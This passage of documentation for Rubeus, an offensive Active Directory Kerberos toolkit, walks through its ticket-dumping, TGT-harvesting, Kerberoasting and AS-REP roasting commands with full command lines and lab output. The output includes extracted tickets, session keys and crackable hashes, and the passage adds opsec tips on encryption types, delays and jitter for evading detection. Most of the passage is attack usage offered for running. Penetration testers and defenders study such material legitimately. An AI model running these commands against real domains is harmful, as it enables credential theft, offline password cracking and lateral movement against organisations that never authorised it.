Start/End/MaxRenew: 2/11/2019 3:05:31 PM ; 2/11/2019 8:05:31 PM ; 2/18/2019 3:05:31 PM
Server Name : krbtgt/TESTLAB.LOCAL @ TESTLAB.LOCAL
Client Name : harmj0y @ TESTLAB.LOCAL
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000)
...(snip)...
The dump action will extract current TGTs and service tickets if in an elevated context. If not elevated, service tickets for the current user are extracted. The resulting extracted tickets can be filtered by /service (use /service:krbtgt for TGTs) and/or logon ID (the /luid:0xA.. parameter). The KRB-CRED files (.kirbis) are output as base64 blobs and can be reused with the ptt function, or Mimikatz's kerberos::ptt functionality.
Note: if run from a non-elevated context, the session keys for TGTs are not returned (by default) from the associated APIs, so only service tickets extracted will be usable. If you want to (somewhat) workaround this, use the tgtdeleg command.
Extracting the current user's usable service tickets:
C:\Rubeus>Rubeus.exe dump
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: Dump Kerberos Ticket Data (Current User)
[*] Current LUID : 0x4420e
[*] Returned 3 tickets
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : rc4_hmac
Base64SessionKey : AAAAAAAAAAAAAAAAAAAAAA==
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime : 2/11/2019 3:19:15 PM
EndTime : 2/11/2019 8:19:13 PM
RenewUntil : 2/18/2019 3:19:13 PM
TimeSkew : 0
EncodedTicketSize : 1306
Base64EncodedTicket :
doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...
...(snip)...
[*] Enumerated 3 total tickets
[*] Extracted 3 total tickets
Elevated extraction of tickets from a specific logon session:
C:\Rubeus>Rubeus.exe dump /luid:0x47869cc
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Target LUID: 0x47869cc
UserName : harmj0y
Domain : TESTLAB
LogonId : 0x47869cc
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Negotiate
LogonType : Interactive
LogonTime : 2/11/2019 11:05:31 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : [email protected]
[*] Enumerated 3 ticket(s):
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : rc4_hmac
Base64SessionKey : u9DOCzuGKAZB6h/E/9XcFg==
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime : 2/11/2019 3:21:53 PM
EndTime : 2/11/2019 8:19:13 PM
RenewUntil : 2/18/2019 3:19:13 PM
TimeSkew : 0
EncodedTicketSize : 1306
Base64EncodedTicket :
doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : aes256_cts_hmac_sha1
Base64SessionKey : tKcszT8rdYyxBxBHlkpmJ/SEsfON8mBMs4ZN/29Xv8A=
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, initial, renewable, forwardable
StartTime : 2/11/2019 3:19:13 PM
EndTime : 2/11/2019 8:19:13 PM
RenewUntil : 2/18/2019 3:19:13 PM
TimeSkew : 0
EncodedTicketSize : 1338
Base64EncodedTicket :
doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)...
...(snip)...
[*] Enumerated 3 total tickets
[*] Extracted 3 total tickets
Elevated extraction of all TGTs on a system:
C:\Rubeus>Rubeus.exe dump /service:krbtgt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Dump Kerberos Ticket Data (All Users)
[*] Target service : krbtgt
UserName : harmj0y
Domain : TESTLAB
LogonId : 0x47869cc
UserSID : S-1-5-21-883232822-274137685-4173207997-1111
AuthenticationPackage : Negotiate
LogonType : Interactive
LogonTime : 2/11/2019 11:05:31 PM
LogonServer : PRIMARY
LogonServerDNSDomain : TESTLAB.LOCAL
UserPrincipalName : [email protected]
[*] Enumerated 3 ticket(s):
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : harmj0y
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : rc4_hmac
Base64SessionKey : y4LL+W3KZoOjnwsiwf150g==
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime : 2/11/2019 3:23:50 PM
EndTime : 2/11/2019 8:19:13 PM
RenewUntil : 2/18/2019 3:19:13 PM
TimeSkew : 0
EncodedTicketSize : 1306
Base64EncodedTicket :
doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...
...(snip)...
UserName : WINDOWS10$
Domain : TESTLAB
LogonId : 0x3e4
UserSID : S-1-5-20
AuthenticationPackage : Negotiate
LogonType : Service
LogonTime : 2/7/2019 4:51:20 PM
LogonServer :
LogonServerDNSDomain : testlab.local
UserPrincipalName : [email protected]
[*] Enumerated 4 ticket(s):
ServiceName : krbtgt/TESTLAB.LOCAL
TargetName : krbtgt/TESTLAB.LOCAL
ClientName : WINDOWS10$
DomainName : TESTLAB.LOCAL
TargetDomainName : TESTLAB.LOCAL
AltTargetDomainName : TESTLAB.LOCAL
SessionKeyType : rc4_hmac
Base64SessionKey : 0NgsSyZ/XOCTi9wLR1z9Kg==
KeyExpirationTime : 12/31/1600 4:00:00 PM
TicketFlags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
StartTime : 2/11/2019 3:23:50 PM
EndTime : 2/11/2019 7:23:48 PM
RenewUntil : 2/18/2019 2:23:48 PM
TimeSkew : 0
EncodedTicketSize : 1304
Base64EncodedTicket :
doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)...
...(snip)...
[*] Enumerated 20 total tickets
[*] Extracted 9 total tickets
The tgtdeleg using @gentilkiwi's Kekeo trick (tgt::deleg) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi.
If automatic target/domain extraction is failing, a known SPN of a service configured with unconstrained delegation can be specified with /target:SPN.
C:\Rubeus>Rubeus.exe tgtdeleg
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: YnEFxPfqw3LdfNvLtdFfzaFf7zG3hG+HNjesy+6R+ys=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)...
The monitor action will periodically extract all TGTs every /monitorinterval:X seconds (default of 60) and display any newly captured TGTs. A /targetuser:USER can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;)
When the /targetuser:USER (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.
The /nowrap flag causes the base64 encoded ticket output to no wrap per line.
If you want monitor to run for a specific period of time, use /runfor:SECONDS.
Further, if you wish to save the output to the registry, pass the /registry flag and specfiy a path under HKLM to create (e.g., /registry:SOFTWARE\MONITOR). Then you can remove this entry after you've finished running Rubeus by Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force.
c:\Rubeus>Rubeus.exe monitor /targetuser:DC$ /interval:10
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: TGT Monitoring
[*] Target user : DC$
[*] Monitoring every 10 seconds for new TGTs
[*] 12/21/2019 11:10:16 PM UTC - Found new TGT:
User : [email protected]
StartTime : 12/21/2019 2:44:31 PM
EndTime : 12/21/2019 3:44:31 PM
RenewTill : 12/28/2019 2:13:06 PM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)...
[*] Ticket cache size: 1
Note that this action needs to be run from an elevated context!
The harvest action takes monitor one step further. It periodically extract all TGTs every /monitorinterval:X seconds (default of 60), extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. Every interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit). Every /displayinterval:X seconds (default of 1200) and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs.
This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.
The /nowrap flag causes the base64 encoded ticket output to no wrap per line.
If you want harvest to run for a specific period of time, use /runfor:SECONDS.
Further, if you wish to save the output to the registry, pass the /registry flag and specfiy a path under HKLM to create (e.g., /registry:SOFTWARE\MONITOR). Then you can remove this entry after you've finished running Rubeus by Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force.
c:\Rubeus>Rubeus.exe harvest /interval:30
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v0.0.1a
[*] Action: TGT Harvesting (w/ auto-renewal)
[*] Monitoring every 30 minutes for 4624 logon events
...(snip)...
[*] Renewing TGT for [email protected]
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes
[*] 9/17/2018 6:43:02 AM - Current usable TGTs:
User : [email protected]
StartTime : 9/17/2018 6:43:02 AM
EndTime : 9/17/2018 11:43:02 AM
RenewTill : 9/24/2018 2:07:48 AM
Flags : name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFujCCBbagAw...(snip)...
Note that this action needs to be run from an elevated context!
Breakdown of the roasting commands:
| Command | Description |
|---|---|
| kerberoast | Perform Kerberoasting against all (or specified) users |
| asreproast | Perform AS-REP roasting against all (or specified) users |
The kerberoast action replaces the SharpRoast project's functionality. Like SharpRoast, this action uses the KerberosRequestorSecurityToken.GetRequest Method() method that was contributed to PowerView by @machosec in order to request the proper service ticket (for default behavior, opsec table for more detail). Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures.
With no other arguments, all user accounts with SPNs set in the current domain are Kerberoasted, requesting their highest supported encryption type (see the opsec table). The /spn:X argument roasts just the specified SPN, the /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU. The /domain and /dc arguments are optional, pulling system defaults as other actions do.
The /stats flag will output statistics about kerberoastable users found, including a breakdown of supported encryption types and years user passwords were last set. This flag can be combined with other targeting options.
The /outfile:FILE argument outputs roasted hashes to the specified file, one per line.
If the /simple flag is specified, roasted hashes will be output to the console, one per line.
If the /nowrap flag is specified, Kerberoast results will not be line-wrapped.
If the the TGT /ticket:X supplied (base64 encoding of a .kirbi file or the path to a .kirbi file on disk) that TGT is used to request the service service tickets during roasting. If /ticket:X is used with /spn:Y or /spns:Y (/spns: can be a file containing each SPN on a new line or a comma separated list) then no LDAP searching happens for users, so it can be done from a non-domain joined system in conjunction with /dc:Z.
If the /tgtdeleg flag is supplied, the tgtdeleg trick it used to get a usable TGT for the current user, which is then used for the roasting requests. If this flag is used, accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.
If the /aes flag is supplied, accounts with AES encryption enabled in msDS-SupportedEncryptionTypes are enumerated and AES service tickets are requested.
If the /ldapfilter:X argument is supplied, the supplied LDAP filter will be added to the final LDAP query used to find Kerberoastable users.
If the /rc4opsec flag is specified, the tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.
If you want to use alternate domain credentials for Kerberoasting (and searching for users to Kerberoast), they can be specified with /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD.
If the /pwdsetafter:MM-dd-yyyy argument is supplied, only accounts whose password was last changed after MM-dd-yyyy will be enumerated and roasted.
If the /pwdsetbefore:MM-dd-yyyy argument is supplied, only accounts whose password was last changed before MM-dd-yyyy will be enumerated and roasted.
If the /resultlimit:NUMBER argument is specified, the number of accounts that will be enumerated and roasted is limited to NUMBER.
If the /delay:MILLISECONDS argument is specified, that number of milliseconds is paused between TGS requests. The /jitter:1-100 flag can be combined for a % jitter.
If the /enterprise flag is used, the spn is assumed to be an enterprise principal (i.e. [email protected]). This flag only works when kerberoasting with a TGT.
If the /autoenterprise flag is used, if roasting an SPN fails (due to an invalid or duplicate SPN) Rubeus will automatically retry using the enterprise principal. This is only useful when /spn or /spns is not supplied as Rubeus needs to know the target accounts samaccountname, which it gets when querying LDAP for the account information.
Here is a table comparing the behavior of various flags from an opsec perspective:
| Arguments | Description |
|---|---|
| none | Use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption |
| /tgtdeleg | Use the tgtdeleg trick to perform TGS-REQ requests of RC4-enabled accounts, roast all accounts w/ RC4 specified |
| /ticket:X | Use the supplied TGT blob/file for TGS-REQ requests, roast all accounts w/ RC4 specified |
| /rc4opsec | Use the tgtdeleg trick, enumerate accounts without AES enabled, roast w/ RC4 specified |
| /aes | Enumerate accounts with AES enabled, use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption |
| /aes /tgtdeleg | Use the tgtdeleg trick, enumerate accounts with AES enabled, roast w/ AES specified |
| /pwdsetafter:X | Use the supplied date and only enumerate accounts with password last changed after that date |
| /pwdsetbefore:X | Use the supplied date and only enumerate accounts with password last changed before that date |
| /resultlimit:X | Use the specified number to limit the accounts that will be roasted |
Kerberoasting all users in the current domain using the default KerberosRequestorSecurityToken.GetRequest method:
C:\Rubeus>Rubeus.exe kerberoast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: Kerberoasting
[*] SamAccountName : harmj0y
[*] DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : asdf/asdfasdf
[*] Hash : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC...(snip)...
[*] SamAccountName : sqlservice
[*] DistinguishedName : CN=SQL,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : MSSQLSvc/SQL.testlab.local
[*] Hash : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$E2B3869290...(snip)...
...(snip)...
Kerberoasting all users in a specific OU, saving the hashes to an output file:
C:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local /outfile:C:\Temp\hashes.txt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: Kerberoasting
[*] Target OU : OU=TestingOU,DC=testlab,DC=local
[*] SamAccountName : testuser2
[*] DistinguishedName : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName : service/host
[*] Hash written to C:\Temp\hashes.txt
[*] Roasted hashes written to : C:\Temp\hashes.txt
Perform Kerberoasting using the tgtdeleg trick to get a usable TGT, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 3 service tickets:
C:\Rubeus>Rubeus.exe kerberoast /tgtdeleg /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:3
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Kerberoasting
[*] Using 'tgtdeleg' to request a TGT for the current user
[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else
[*] Searching the current domain for Kerberoastable users
[*] Searching for accounts with lastpwdset from 01-31-2005 to 03-29-2010
[*] Up to 3 result(s) will be returned
[*] Total kerberoastable users : 3
[*] SamAccountName : harmj0y
[*] DistinguishedName : CN=harmj0y,OU=TestOU,DC=theshire,DC=local
[*] ServicePrincipalName : testspn/server
[*] PwdLastSet : 5/31/2008 12:00:02 AM
[*] Supported ETypes : AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96
[*] Hash : $krb5tgs$23$*harmj0y$theshire.local$testspn/server*$F6EEFE5026CF8F02E3DC...(snip)...
[*] SamAccountName : constraineduser
[*] DistinguishedName : CN=constraineduser,CN=Users,DC=theshire,DC=local
[*] ServicePrincipalName : blah/blah123
[*] PwdLastSet : 9/5/2009 7:48:50 PM
[*] Supported ETypes : RC4_HMAC
[*] Hash : $krb5tgs$23$*constraineduser$theshire.local$blah/blah123*$6F0992C377AA12...(snip)...
[*] SamAccountName : newuser
[*] DistinguishedName : CN=newuser,CN=Users,DC=theshire,DC=local
[*] ServicePrincipalName : blah/blah123456
[*] PwdLastSet : 9/12/2008 8:05:16 PM
[*] Supported ETypes : RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96
[*] Hash : $krb5tgs$23$*newuser$theshire.local$blah/blah123456*$C4561559C2A7DF07712...(snip)...
List statistics about found Kerberoastable accounts without actually sending ticket requests:
C:\Rubeus>Rubeus.exe kerberoast /stats
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Kerberoasting
[*] Listing statistics about target users, no ticket requests being performed.
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 4
----------------------------------------------------------------------
| Supported Encryption Type | Count |
----------------------------------------------------------------------
| RC4_HMAC_DEFAULT | 1 |
| RC4_HMAC | 1 |
| AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 |
| RC4_HMAC, AES128_CTS_HMAC_SHA1_96, AES256_CTS_HMAC_SHA1_96 | 1 |
----------------------------------------------------------------------
----------------------------------
| Password Last Set Year | Count |
----------------------------------
| 2019 | 4 |
----------------------------------
Kerberoasting a specific user, with simplified hash output:
C:\Rubeus>Rubeus.exe kerberoast /user:harmj0y /simple
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target User : harmj0y
[*] Searching the current domain for Kerberoastable users
[*] Total kerberoastable users : 1
$krb5tgs$18$*harmj0y$theshire.local$testspn/server*$F63783C58AA153F24DFCC796A120C55C$06C6929374A2D3...(snip)...
Kerberoasting all users in a foreign trusting domain, not line-wrapping the results:
C:\Rubeus>Rubeus.exe kerberoast /domain:dev.testlab.local /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Kerberoasting
[*] Target Domain : dev.testlab.local
[*] SamAccountName : jason
[*] DistinguishedName : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local
[*] ServicePrincipalName : test/test
[*] Hash : $krb5tgs$23$*$dev.testlab.local$test/[email protected]*$969339A82...(snip)...
Kerberoasting using an existing TGT:
C:\Rubeus>Rubeus.exe kerberoast /ticket:doIFujCCBbagAwIBBaEDAgEWoo...(snip)... /spn:"asdf/asdfasdf" /dc:primary.testlab.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.5
[*] Action: Kerberoasting
[*] Using a TGT /ticket to request service tickets
[*] Target SPN : asdf/asdfasdf
[*] Hash : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$4EFF99FDED690AB4616EB...(snip)...
"Opsec" Kerberoasting, using the tgtdeleg trick, filtering out AES-enabled accounts:
C:\Rubeus>Rubeus.exe kerberoast /rc4opsec
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.6
[*] Action: Kerberoasting
[*] Using 'tgtdeleg' to request a TGT for the current user
[*] Searching the current domain for Kerberoastable users
[*] Searching for accounts that only support RC4_HMAC, no AES
[*] Found 6 users to Kerberoast!
[*] SamAccountName : harmj0y
[*] DistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName : asdf/asdfasdf
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash : $krb5tgs$23$*harmj0y$testlab.local$asdf/asdfasdf*$6B4AD4B61D37D54...(snip)...
The asreproast action replaces the ASREPRoast project which executed similar actions with the (larger sized) BouncyCastle library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting. For more technical information, see this post.
Just as with the kerberoast command, if no other arguments are supplied, all user accounts not requiring with Kerberos preauth not required are roasted. The /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU. The /domain and /dc arguments are optional, pulling system defaults as other actions do.
The /outfile:FILE argument outputs roasted hashes to the specified file, one per line.
Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD.
The output /format:X defaults to John the Ripper (Jumbo version). /format:hashcat is also an option for the new hashcat mode 18200.
AS-REP roasting all users in the current domain:
C:\Rubeus>Rubeus.exe asreproast
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target Domain : testlab.local
[*] SamAccountName : dfm.a
[*] DistinguishedName : CN=dfm.a,CN=Users,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
[email protected]:D4A4BC281B200EE35CBF4A4537792D07$D655...(snip)...
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
[email protected]:DD6DF16B7E65223679CD703837C94FB...(snip)..
[*] SamAccountName : harmj0y2
[*] DistinguishedName : CN=harmj0y2,CN=Users,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\harmj0y2'
[*] Connecting to 192.168.52.100:88
[*] Sent 166 bytes
[*] Received 1407 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
[email protected]:7D2E379A076BB804AF275ED51B86BF85$8...(snip)..
AS-REP roasting all users in a specific OU, saving the hashes to an output file in Hashcat format:
C:\Rubeus>Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target OU : OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Temp\hashes.txt
[*] Roasted hashes written to : C:\Temp\hashes.txt
AS-REP roasting a specific user:
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target User : TestOU3user
[*] Target Domain : testlab.local
[*] SamAccountName : TestOU3user
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
[email protected]:858B6F645D9F9B57210292E5711E0...(snip)...
AS-REP roasting all users in a foreign trusting domain:
C:\Rubeus>Rubeus.exe asreproast /domain:dev.testlab.local
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target Domain : dev.testlab.local
[*] SamAccountName : devuser3
[*] DistinguishedName : CN=devuser3,CN=Users,DC=dev,DC=testlab,DC=local
[*] Using domain controller: dev.testlab.local (192.168.52.105)
[*] Building AS-REQ (w/o preauth) for: 'dev.testlab.local\devuser3'
[*] Connecting to 192.168.52.105:88
[*] Sent 175 bytes
[*] Received 1448 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
[email protected]:650B881E44B92FB6A378DD21E8B020...(snip)...
AS-REP roasting users in a foreign non-trusting domain using alternate credentials:
C:\Rubeus>Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.4
[*] Action: AS-REP roasting
[*] Target Domain : external.local
[*] Using alternate creds : EXTERNAL.local\administrator
[*] SamAccountName : david
[*] DistinguishedName : CN=david,CN=Users,DC=external,DC=local
[*] Using domain controller: external.local (192.168.52.95)
[*] Building AS-REQ (w/o preauth) for: 'external.local\david'
[*] Connecting to 192.168.52.95:88
[*] Sent 165 bytes
[*] Received 1376 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:
[email protected]:9F5A33465C53056F17FEFDF09B7D36DD$47DBAC3...(snip)...
Breakdown of the miscellaneous commands:
| Command | Description |
|---|---|
| createnetonly | Create a process of logon type 9 |
| changepw | Perform the Aorato Kerberos password reset |
| hash | Hash a plaintext password to Kerberos encryption keys |
| tgssub | Substitute in alternate service names into a service ticket |
| currentluid | Display the current user's LUID |
